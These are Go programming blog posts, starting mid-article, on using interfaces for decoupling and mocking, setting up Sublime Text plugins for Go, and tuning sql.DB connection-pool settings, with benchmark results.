customer struct. c := &Customer{Name: "Alice", Age: 21} // We can then call the WriteJSON method using a buffer... var buf bytes.Buffer err := c.WriteJSON(&buf) if err != nil { log.Fatal(err) } // Or using a file. f, err := os.Create("/tmp/customer") if err != nil { log.Fatal(err) } defer f.Close() err = c.WriteJSON(f) if err != nil { log.Fatal(err) } } Of course, this is just a toy example (and there are other ways we could structure the code to achieve the same end result). But it nicely illustrates the benefit of using an interface — we can create the Customer.WriteJSON() method once, and we can call that method any time that we want to write to something that satisfies the io.Writer interface. But if you're new to Go, this still begs a couple of questions: How do you know that the io.Writer interface even exists? And how do you know in advance that bytes.Buffer and os.File both satisfy it? There's no easy shortcut here I'm afraid — you simply need to build up experience and familiarity with the interfaces and different types in the standard library. Spending time thoroughly reading the standard library documentation, and looking at other people's code will help here. But as a quick-start I've included a list of some of the most useful interface types at the end of this post. But even if you don't use the interfaces from the standard library, there's nothing to stop you from creating and using your own interface types. We'll cover how to do that next. Unit testing and mocking To help illustrate how interfaces can be used to assist in unit testing, let's take a look at a slightly more complex example. Let's say you run a shop, and you store information about the number of customers and sales in a PostgreSQL database. You want to write some code that calculates the sales rate (i.e. sales per customer) for the past 24 hours, rounded to 2 decimal places. A minimal implementation of the code for that could look something like this: // File: main.go package main import ( "fmt" "log" "time" "database/sql" _ "github.com/lib/pq" ) type ShopDB struct { *sql.DB } func (sdb *ShopDB) CountCustomers(since time.Time) (int, error) { var count int err := sdb.QueryRow("SELECT count(*) FROM customers WHERE timestamp > $1", since).Scan(&count) return count, err } func (sdb *ShopDB) CountSales(since time.Time) (int, error) { var count int err := sdb.QueryRow("SELECT count(*) FROM sales WHERE timestamp > $1", since).Scan(&count) return count, err } func main() { db, err := sql.Open("postgres", "postgres://user:pass@localhost/db") if err != nil { log.Fatal(err) } defer db.Close() shopDB := &ShopDB{db} sr, err := calculateSalesRate(shopDB) if err != nil { log.Fatal(err) } fmt.Printf(sr) } func calculateSalesRate(sdb *ShopDB) (string, error) { since := time.Now().Add(-24 * time.Hour) sales, err := sdb.CountSales(since) if err != nil { return "", err } customers, err := sdb.CountCustomers(since) if err != nil { return "", err } rate := float64(sales) / float64(customers) return fmt.Sprintf("%.2f", rate), nil } Now, what if we want to create a unit test for the calculateSalesRate() function to make sure that the math logic in it is working correctly? Currently this is a bit of a pain. We would need to set up a test instance of our PostgreSQL database, along with setup and teardown scripts to scaffold the database with dummy data. That's quite lot of work when all we really want to do is test our math logic. So what can we do? You guessed it — interfaces to the rescue! A solution here is to create our own interface type which describes the CountSales() and CountCustomers() methods that the calculateSalesRate() function relies on. Then we can update the signature of calculateSalesRate() to use this custom interface type as a parameter, instead of the concrete *ShopDB type. Like so: // File: main.go package main import ( "database/sql" "fmt" "log" "time" _ "github.com/lib/pq" ) // Create our own custom ShopModel interface. Notice that it is perfectly // fine for an interface to describe multiple methods, and that it should // describe input parameter types as well as return value types. type ShopModel interface { CountCustomers(time.Time) (int, error) CountSales(time.Time) (int, error) } // The ShopDB type satisfies our new custom ShopModel interface, because it // has the two necessary methods -- CountCustomers() and CountSales(). type ShopDB struct { *sql.DB } func (sdb *ShopDB) CountCustomers(since time.Time) (int, error) { var count int err := sdb.QueryRow("SELECT count(*) FROM customers WHERE timestamp > $1", since).Scan(&count) return count, err } func (sdb *ShopDB) CountSales(since time.Time) (int, error) { var count int err := sdb.QueryRow("SELECT count(*) FROM sales WHERE timestamp > $1", since).Scan(&count) return count, err } func main() { db, err := sql.Open("postgres", "postgres://user:pass@localhost/db") if err != nil { log.Fatal(err) } defer db.Close() shopDB := &ShopDB{db} sr, err := calculateSalesRate(shopDB) if err != nil { log.Fatal(err) } fmt.Printf(sr) } // Swap this to use the ShopModel interface type as the parameter, instead of the // concrete *ShopDB type. func calculateSalesRate(sm ShopModel) (string, error) { since := time.Now().Add(-24 * time.Hour) sales, err := sm.CountSales(since) if err != nil { return "", err } customers, err := sm.CountCustomers(since) if err != nil { return "", err } rate := float64(sales) / float64(customers) return fmt.Sprintf("%.2f", rate), nil } With that done, it's straightforward for us to create a mock which satisfies our ShopModel interface. We can then use that mock during unit tests to test that the math logic in our calculateSalesRate() function works correctly. Like so: // File: main_test.go package main import ( "testing" "time" ) type MockShopDB struct{} func (m *MockShopDB) CountCustomers(_ time.Time) (int, error) { return 1000, nil } func (m *MockShopDB) CountSales(_ time.Time) (int, error) { return 333, nil } func TestCalculateSalesRate(t *testing.T) { // Initialize the mock. m := &MockShopDB{} // Pass the mock to the calculateSalesRate() function. sr, err := calculateSalesRate(m) if err != nil { t.Fatal(err) } // Check that the return value is as expected, based on the mocked // inputs. exp := "0.33" if sr != exp { t.Fatalf("got %v; expected %v", sr, exp) } } You could run that test now, everything should work fine. Application architecture In the previous examples, we've seen how interfaces can be used to decouple certain parts of your code from relying on concrete types. For instance, the calculateSalesRate() function is totally flexible about what you pass to it — the only thing that matters is that it satisfies the ShopModel interface. You can extend this idea to create decoupled 'layers' in larger projects. Let's say that you are building a web application which interacts with a database. If you create an interface that describes the exact methods for interacting with the database, you can refer to the interface throughout your HTTP handlers instead of a concrete type. Because the HTTP handlers only refer to an interface, this helps to decouple the HTTP layer and database-interaction layer. It makes it easier to work on the layers independently, and to swap out one layer in the future without affecting the other. I've written about this pattern in this previous blog post, which goes into more detail and provides some practical example code. What is the empty interface? If you've been programming with Go for a while, you've probably come across the empty interface type: interface{}. This can be a bit confusing, but I'll try to explain it here. At the start of this blog post I said: An interface type in Go is kind of like a definition. It defines and describes the exact methods that some other type must have. The empty interface type essentially describes no methods. It has no rules. And because of that, it follows that any and every object satisfies the empty interface. Or to put it in a more plain-English way, the empty interface type interface{} is kind of like a wildcard. Wherever you see it in a declaration (such as a variable, function parameter or struct field) you can use an object of any type. Take a look at the following code: package main import "fmt" func main() { person := make(map[string]interface{}, 0) person["name"] = "Alice" person["age"] = 21 person["height"] = 167.64 fmt.Printf("%+v", person) } In this code snippet we initialize a person map, which uses the string type for keys and the empty interface type interface{} for values. We've assigned three different types as the map values (a string, int and float32) — and that's OK. Because objects of any and every type satisfy the empty interface, the code will work just fine. You can give it a try here, and when you run it you should see some output which looks like this: map[age:21 height:167.64 name:Alice] But there's an important thing to point out when it comes to retrieving and using a value from this map. For example, let's say that we want to get the "age" value and increment it by 1. If you write something like the following code, it will fail to compile: package main import "log" func main() { person := make(map[string]interface{}, 0) person["name"] = "Alice" person["age"] = 21 person["height"] = 167.64 person["age"] = person["age"] + 1 fmt.Printf("%+v", person) } And you'll get the following error message: invalid operation: person["age"] + 1 (mismatched types interface {} and int) This happens because the value stored in the map takes on the type interface{}, and ceases to have it's original, underlying, type of int. Because it's no longer an int type we cannot add 1 to it. To get around this this, you need to type assert the value back to an int before using it. Like so: package main import "log" func main() { person := make(map[string]interface{}, 0) person["name"] = "Alice" person["age"] = 21 person["height"] = 167.64 age, ok := person["age"].(int) if !ok { log.Fatal("could not assert value to int") return } person["age"] = age + 1 log.Printf("%+v", person) } If you run this now, everything should work as expected: 2009/11/10 23:00:00 map[age:22 height:167.64 name:Alice] So when should you use the empty interface type in your own code? The answer is probably not that often. If you find yourself reaching for it, pause and consider whether using interface{} is really the right option. As a general rule it's clearer, safer and more performant to use concrete types — or non-empty interface types — instead. In the code snippet above, it would have been more appropriate to define a Person struct with relevant typed fields similar to this: type Person struct { Name string Age int Height float32 } But that said, the empty interface is useful in situations where you need to accept and work with unpredictable or user-defined types. You'll see it used in a a number of places throughout the standard library for that exact reason, such as in the gob.Encode, fmt.Print and template.Execute functions. Comman and useful types Lastly, here's a short list of some of the most common and useful interfaces in the standard library. If you're not familiar with them already, then I recommend taking out a bit of time to look at the relevant documentation for them. builtin.Error fmt.Stringer io.Reader io.Writer io.ReadWriteCloser http.ResponseWriter http.Handler There is also a longer and more comprehensive listing of standard libraries available in this gist.

• Streamline your Sublime Text + Go workflow
  Alex Edwards

  For the past couple of years I've used Sublime Text as my primary code editor, along with the GoSublime plugin to provide some extra IDE-like features. But I've recently swapped GoSublime for a more modular plugin setup and have been really happy with the way it's worked out. Although it took a while to configure, it's resulted in a coding environment that feels clearer to use and more streamlined than before. I've opted for: Tooling integration with the official sublime-build plugin. Automatic formatting with the Gofmt plugin and goimports. Code linting with the SublimeLinter plugin and gometalinter. Autocompletion with the gocode package. Code navigation with the GoGuru plugin. Snippet management with Sublime Text's inbuilt tool and the PackageResourceViewer plugin. In this post I'm going to run through the process of setting these up. If you haven't come across these plugins before, I recommend giving them a try! Prerequisites To work correctly some of these Sublime Text plugins need an explicit $GOPATH environment variable to be set. And if you're following along, you should also make sure that your workspace's bin directory is on your system path. Accordingly my bash ~/.profile configuration includes these lines: ... export GOPATH=/home/alex/Code/go export PATH=$PATH:$GOPATH/bin You'll also need to install Package Control, if you haven't already. In the latest version of Sublime Text the easiest way to do that by going to Tools > Install Package Control…. Tooling integration The official sublime-build plugin provides integrations so you can execute common go commands (like go run, go test and go get) without leaving your editor. You can install it like so: Open the Sublime Text command palette by pressing Ctrl+Shift+P. Run the Package Control: Install Package command. Type Golang Build and hit Enter to install the package. After installation should see a bunch of new tools in your command palette. Their names are pretty self explanatory: Build With: Go Build With: Go - Clean Build With: Go - Install Build With: Go - Run Build With: Go - Test Build With: Go - Cross-Compile Go: Get Go: Open Terminal When you run these commands they will open and execute in a panel within Sublime Text. As an example, here's a screenshot of output from the Build With: Go - Test command: Automatic formatting For automatic formatting of .go files I've been using the Gofmt plugin. You can install it as follows: Open the Sublime Text command palette by pressing Ctrl+Shift+P. Run the Package Control: Install Package command. Type Gofmt and hit Enter to install the package. By default this will run go fmt -s -e on the current file each time it is saved. I've customised this further to use the goimports tool. If you're not already familiar with goimports, it runs go fmt and fixes your import lines — adding missing packages and removing unreferenced ones as necessary. To set this up you'll need to install goimports and make sure it's available on your system path: $ go get golang.org/x/tools/cmd/goimports $ which goimports /home/alex/Code/go/bin/goimports When that's installed, you'll then need to change the Gofmt plugin settings in Sublime Text by opening Preferences > Package Settings > Gofmt > Settings - User and adding the following configuration settings: { "cmds": [ ["goimports"] ], "format_on_save": true } (You'll probably need to restart Sublime Text for this to take effect.) Each time you now save a .go file, you'll find that it gets automatically formatted and the import packages are updated. No more "imported and not used" errors! Code linting For linting of source code I'm using the SublimeLinter plugin. This plugin isn't a linter itself, but provides a framework for running linters and displaying error messages. You can install it like so: Open command palette by pressing Ctrl+Shift+P. Run the Package Control: Install Package command. Type SublimeLinter and hit Enter to install the package. The next step is to install an actual linter. I'm using gometalinter, which acts as a wrapper around a bunch of different linters and picks up more potential problems and inefficiencies than using go vet and golint alone. You can install it with the commands: $ go get github.com/alecthomas/gometalinter $ which gometalinter /home/alex/Code/go/bin/gometalinter $ gometalinter --install Once that's done, you'll need to install the SublimeLinter-contrib-gometalinter plugin. This acts as the bridge between SublimeLinter and gometalinter. Open command palette by pressing Ctrl+Shift+P. Run the Package Control: Install Package command. Type SublimeLinter-contrib-gometalinter and hit Enter to install the package. By default the linter will run in the background as you type, and errors will be shown in the Sublime Text status bar at the bottom of the screen. But I've found suits me more to only lint when saving a file and to display all errors at once in a panel. If you want to do the same, go to Preferences > Package Settings > SublimeLinter > Settings and add the following settings to the SublimeLinter Settings - User file: { "show_panel_on_save": "window", "lint_mode": "save", } I should mention that the SublimeLinter-contrib-gometalinter plugin only executes the 'fast' linters included in gometalinter. You can see exactly which ones are run by checking the source code. Autocompletion For autocompletion I'm using the gocode package, which provides a deamon for code completion. You can install it like so: $ go get github.com/mdempsky/gocode $ which gocode /home/alex/Code/go/bin/gocode There isn't currently a gocode plugin available via Sublime Text package control (I might add one soon!)… but there is a plugin included in the subl3 directory within the gocode source itself. You should be able to copy it into your Sublime Text Packages directory with the following command: $ cp -r $GOPATH/src/github.com/mdempsky/gocode/subl3 ~/.config/sublime-text-3/Packages/gocode If you open the command palette and run Package Control: List Packages you should see a gocode entry in the list. By default Sublime Text will make autocomplete suggestions whenever a letter is pressed. But when working with Go I like also to display potential method names whenever I hit the . character. You can make that happen by going to Preferences > Settings and adding a new trigger in the Preferences.sublime-settings - User file: { ... "auto_complete_triggers": [ {"selector": "text.html", "characters": " You'll need to then restart Sublime Text for the settings to take effect. Once you have, you should have autocomplete working nicely and looking something like this: Code navigation To help with navigating code I use the guru tool, which you can install with the following command: $ go get golang.org/x/tools/cmd/guru $ which guru /home/alex/Code/go/bin/guru To integrate this with Sublime Text you'll also need to install the GoGuru plugin like so: Open command palette by pressing Ctrl+Shift+P. Run the Package Control: Install Package command. Type GoGuru and hit Enter to install the package. To use the GoGuru tool, first place your cursor over the piece of code you're interested in. Then if you open the command palette and type the GoGuru prefix you'll see a list of available commands, including: GoGuru: callees – Show possible targets of selected function call GoGuru: callers – Show possible callers of selected function GoGuru: callstack – Show path from callgraph root to selected function GoGuru: definition – Show declaration of selected identifier GoGuru: describe – Describe selected syntax: definition, methods, etc GoGuru: freevars – Show free variables of selection GoGuru: implements – Show 'implements' relation for selected type or method GoGuru: jump to definition – Open the file at the declaration of selected identifier GoGuru: peers – Show send/receive corresponding to selected channel op GoGuru: pointsto – Show variables the selected pointer may point to GoGuru: referrers – Show all refs to thing denoted by selected identifier GoGuru: what – Show basic information about the selected syntax node GoGuru: whicherrs – Show possible values of the selected error variable You can find a detailed description these commands and their behaviour in this GoogleDoc. I don't use the GoGuru plugin as often as the others, but when working on a unfamiliar codebase it definitely makes navigating code and building up a mental map of how things work easier. I find the GoGuru: jump to definition and GoGuru: callers commands particularly useful, and easier to use than grepping or running Ctrl+F on the repository. As an illustration, here's a screenshot of running GoGuru: callers on the Sum function: Snippets Sublime Text ships with a pretty good workflow for creating and using custom snippets. If you're not already familiar with this Jimmy Zhang has written a great in-depth guide that I recommend reading. My most frequently-used snippet is probably this one for creating a HTTP handler function: hf source.go One thing that bugged me for a while was the built-in snippets for Go that Sublime Text ships with. In particular I didn't like the way that the main() snippet kept triggering whenever I wrote out "package main". If, like me, you want to edit these built-in snippets the easiest way is probably with the PackageResourceViewer plugin. You can install this as follows: Open command palette by pressing Ctrl+Shift+P. Run the Package Control: Install Package command. Type PackageResourceViewer and hit Enter to install the package. Once installed you can open the command palette and run PackageResourceViewer: Open Resource which will list all packages on your system. If you navigate through Go > Snippets/ you should see a list of all the built-in snippets and you can open and edit them as you wish. Hint: You can also use PackageResourceViewer to edit your own custom snippets without leaving SublimeText. If – for example – your custom snippets are saved under your Packages/User directory, you can open them by running PackageResourceViewer: Open Resource and navigating to the User folder.

• Configuring sql.DB for better performance
  Alex Edwards

  There are a lot of good tutorials which talk about Go's sql.DB type and how to use it to execute SQL database queries and statements. But most of them gloss over the SetMaxOpenConns(), SetMaxIdleConns() and SetConnMaxLifetime() methods — which you can use to configure the behavior of sql.DB and alter its performance. In this post I'd like to explain exactly what these settings do and demonstrate the (positive and negative) impact that they can have. Open and idle connections I'll begin with a little background. A sql.DB object is a pool of many database connections which contains both 'in-use' and 'idle' connections. A connection is marked as in-use when you are using it to perform a database task, such as executing a SQL statement or querying rows. When the task is complete the connection is marked as idle. When you instruct sql.DB to perform a database task, it will first check if any idle connections are already available in the pool. If one is available then Go will reuse this existing connection and mark it as in-use for the duration of the task. If there are no idle connections in the pool when you need one, then Go will create an additional new additional connection. The SetMaxOpenConns method By default there's no limit on the number of open connections (in-use + idle) at the same time. But you can implement your own limit via the SetMaxOpenConns() method like so: // Initialise a new connection pool db, err := sql.Open("postgres", "postgres://user:pass@localhost/db") if err != nil { log.Fatal(err) } // Set the maximum number of concurrently open connections (in-use + idle) // to 5. Setting this to less than or equal to 0 will mean there is no // maximum limit (which is also the default setting). db.SetMaxOpenConns(5) In this example code the pool now has a maximum limit of 5 concurrently open connections. If all 5 connections are already marked as in-use and another new connection is needed, then the application will be forced to wait until one of the 5 connections is freed up and becomes idle. To illustrate the impact of changing MaxOpenConns I ran a benchmark test with the maximum open connections set to 1, 2, 5, 10 and unlimited. The benchmark executes parallel INSERT statements on a PostgreSQL database and you can find the code in this gist. Here's the results: BenchmarkMaxOpenConns1-8 500 3129633 ns/op 478 B/op 10 allocs/op BenchmarkMaxOpenConns2-8 1000 2181641 ns/op 470 B/op 10 allocs/op BenchmarkMaxOpenConns5-8 2000 859654 ns/op 493 B/op 10 allocs/op BenchmarkMaxOpenConns10-8 2000 545394 ns/op 510 B/op 10 allocs/op BenchmarkMaxOpenConnsUnlimited-8 2000 531030 ns/op 479 B/op 9 allocs/op PASS Edit: To make clear, the purpose of this benchmark is not to simulate 'real-life' behaviour of an application. It's solely to help illustrate how sql.DB behaves behind the scenes and the impact of changing MaxOpenConns on that behaviour. For this benchmark we can see that the more open connections that are allowed, the less time is taken to perform the INSERT on the database (3129633 ns/op with 1 open connection compared to 531030 ns/op for unlimited connections — about 6 times quicker). This is because the more open connections that are permitted, the more database queries can be performed concurrently. The SetMaxIdleConns method By default sql.DB allows a maximum of 2 idle connections to be retained in the connection pool. You can change this via the SetMaxIdleConns() method like so: // Initialise a new connection pool db, err := sql.Open("postgres", "postgres://user:pass@localhost/db") if err != nil { log.Fatal(err) } // Set the maximum number of concurrently idle connections to 5. Setting this // to less than or equal to 0 will mean that no idle connections are retained. db.SetMaxIdleConns(5) In theory, allowing a higher number of idle connections in the pool will improve performance because it makes it less likely that a new connection will need to be established from scratch — therefore helping to save resources. Lets take a look at the same benchmark with the maximum idle connections is set to none, 1, 2, 5 and 10 (and the number of open connections is unlimited): BenchmarkMaxIdleConnsNone-8 300 4567245 ns/op 58174 B/op 625 allocs/op BenchmarkMaxIdleConns1-8 2000 568765 ns/op 2596 B/op 32 allocs/op BenchmarkMaxIdleConns2-8 2000 529359 ns/op 596 B/op 11 allocs/op BenchmarkMaxIdleConns5-8 2000 506207 ns/op 451 B/op 9 allocs/op BenchmarkMaxIdleConns10-8 2000 501639 ns/op 450 B/op 9 allocs/op PASS When MaxIdleConns is set to none, a new connection has to be created from scratch for each INSERT and we can see from the benchmarks that the average runtime and memory usage is comparatively high. Allowing just 1 idle connection to be retained and reused makes a massive difference to this particular benchmark — it cuts the average runtime by about 8 times and reduces memory usage by about 20 times. Going on to increase the size of the idle connection pool makes the performance even better, although the improvements are less pronounced. So should you maintain a large idle connection pool? The answer is it depends on the application. It's important to realise that keeping an idle connection alive comes at a cost — it takes up memory which can otherwise be used for both your application and the database. It's also possible that if a connection is idle for too long then it may become unusable. For example, MySQL's wait_timeout setting will automatically close any connections that haven't been used for 8 hours (by default). When this happens sql.DB handles it gracefully. Bad connections will automatically be retried twice before giving up, at which point Go will remove the connection from the pool and create a new one. So setting MaxIdleConns too high may actually result in connections becoming unusable and more resources being used than if you had a smaller idle connection pool (with fewer connections that are used more frequently). So really you only want to keep a connection idle if you're likely to be using it again soon. One last thing to point out is that MaxIdleConns should always be less than or equal to MaxOpenConns. Go enforces this and will automatically reduce MaxIdleConns if necessary. The SetConnMaxLifetime method Let's now take a look at the SetConnMaxLifetime() method which sets the maximum length of time that a connection can be reused for. This can be useful if your SQL database also implements a maximum connection lifetime or if — for example — you want to facilitate gracefully swapping databases behind a load balancer. You use it like this: // Initialise a new connection pool db, err := sql.Open("postgres", "postgres://user:pass@localhost/db") if err != nil { log.Fatal(err) } // Set the maximum lifetime of a connection to 1 hour. Setting it to 0 // means that there is no maximum lifetime and the connection is reused // forever (which is the default behavior). db.SetConnMaxLifetime(time.Hour) In this example all our connections will 'expire' 1 hour after they were first created, and cannot be reused after they've expired. But note: This doesn't guarantee that a connection will exist in the pool for a whole hour; it's quite possible that the connection will have become unusable for some reason and been automatically closed before then. A connection can still be in use more than one hour after being created — it just cannot start to be reused after that time. This isn't an idle timeout. The connection will expire 1 hour after it was first created — not 1 hour after it last became idle. Once every second a cleanup operation is automatically run to remove 'expired' connections from the pool. In theory, the shorter ConnMaxLifetime is the more often connections will expire — and consequently — the more often they will need to be created from scratch. To illustrate this I ran the benchmarks with ConnMaxLifetime set to 100ms, 200ms, 500ms, 1000ms and unlimited (reused forever), with the default settings of unlimited open connections and 2 idle connections. These time periods are obviously much, much shorter than you'd use in most applications but they help illustrate the behaviour well. BenchmarkConnMaxLifetime100-8 2000 637902 ns/op 2770 B/op 34 allocs/op BenchmarkConnMaxLifetime200-8 2000 576053 ns/op 1612 B/op 21 allocs/op BenchmarkConnMaxLifetime500-8 2000 558297 ns/op 913 B/op 14 allocs/op BenchmarkConnMaxLifetime1000-8 2000 543601 ns/op 740 B/op 12 allocs/op BenchmarkConnMaxLifetimeUnlimited-8 3000 532789 ns/op 412 B/op 9 allocs/op PASS In these particular benchmarks we can see that memory usage was more than 3 times greater with a 100ms lifetime compared to an unlimited lifetime, and the average runtime for each INSERT was also slightly longer. If you do set ConnMaxLifetime in your code, it is important to bear in mind the frequency at which connections will expire (and subsequently be recreated). For example, if you have 100 total connections and a ConnMaxLifetime of 1 minute, then your application can potentially kill and recreate up to 1.67 connections (on average) every second. You don't want this frequency to be so great that it ultimately hinders performance, rather than helping it. Exceeding connection limits Lastly, this article wouldn't be complete without mentioning what happens if you exceed a hard limit on the number of database connections. As an illustration, I'll change my postgresql.conf file so only a total of 5 connections are permitted (the default is 100)... max_connections = 5 And then rerun the benchmark test with unlimited open connections... BenchmarkMaxOpenConnsUnlimited-8 --- FAIL: BenchmarkMaxOpenConnsUnlimited-8 main_test.go:14: pq: sorry, too many clients already main_test.go:14: pq: sorry, too many clients already main_test.go:14: pq: sorry, too many clients already FAIL As soon as the hard limit of 5 connections is hit my database driver (pq) immediately returns a sorry, too many clients already error message instead of completing the INSERT. To prevent this error we need to set the total maximum of open connections (in-use + idle) in sql.DB to comfortably below 5. Like so: // Initialise a new connection pool db, err := sql.Open("postgres", "postgres://user:pass@localhost/db") if err != nil { log.Fatal(err) } // Set the number of open connections (in-use + idle) to a maximum total of 3. db.SetMaxOpenConns(3) Now there will only ever be a maximum of 3 connections created by sql.DB at any moment in time, and the benchmark should run without any errors. But doing this comes with a big caveat: when the open connection limit is reached, any new database tasks that your application needs to execute will be forced to wait until a connection becomes free. In the context of a web application, for example, the user's HTTP request would appear to 'hang' and could potentially even timeout while waiting for the database task to be run. To mitigate this you should always pass in a context.Context object with a fixed, fast, timeout when making database calls, using the context-enabled methods like ExecContext(). An example can be seen in the gist here. Summary As a rule of thumb, you should explicitly set a MaxOpenConns value. This should be comfortably below any hard limits on the number of connections imposed by your database and infrastructure. In general, higher MaxOpenConns and MaxIdleConns values will lead to better performance. But the returns are diminishing, and you should be aware that having a too-large idle connection pool (with connections that are not re-used and eventually go bad) can actually lead to reduced performance. To mitigate the risk from point 2 above, you may want to set a relatively short ConnMaxLifetime. But you don't want this to be so short that leads to connections being killed and recreated unnecessarily often. MaxIdleConns should always be less than or equal to MaxOpenConns. For small-to-medium web applications I typically use the following settings as a starting point, and then optimize from there depending on the results of load-testing with real-life levels of throughput. db.SetMaxOpenConns(25) db.SetMaxIdleConns(25) db.SetConnMaxLifetime(5*time.Minute)